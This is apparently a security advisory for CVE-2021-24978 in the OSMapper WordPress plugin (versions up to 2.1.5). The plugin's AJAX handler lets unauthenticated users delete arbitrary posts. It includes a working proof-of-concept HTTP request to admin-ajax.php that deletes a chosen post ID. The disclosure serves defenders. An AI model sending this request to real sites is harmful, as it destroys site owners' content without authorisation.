OSMapper <= 2.1.5 – Unauthenticated Arbitrary Post Deletion | CVE 2021-24978

Description

The plugin contains an AJAX action to delete a plugin related post type named 'map' and is registered with the wp_ajax_nopriv prefix, making it available to unauthenticated users. There is no authorisation, CSRF and checks in place to ensure that the post to delete is a map one. As a result, unauthenticated user can delete arbitrary posts from the blog

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

action=ba_map_ajax_handler&requestType=delete_map&requestParams=<a post id>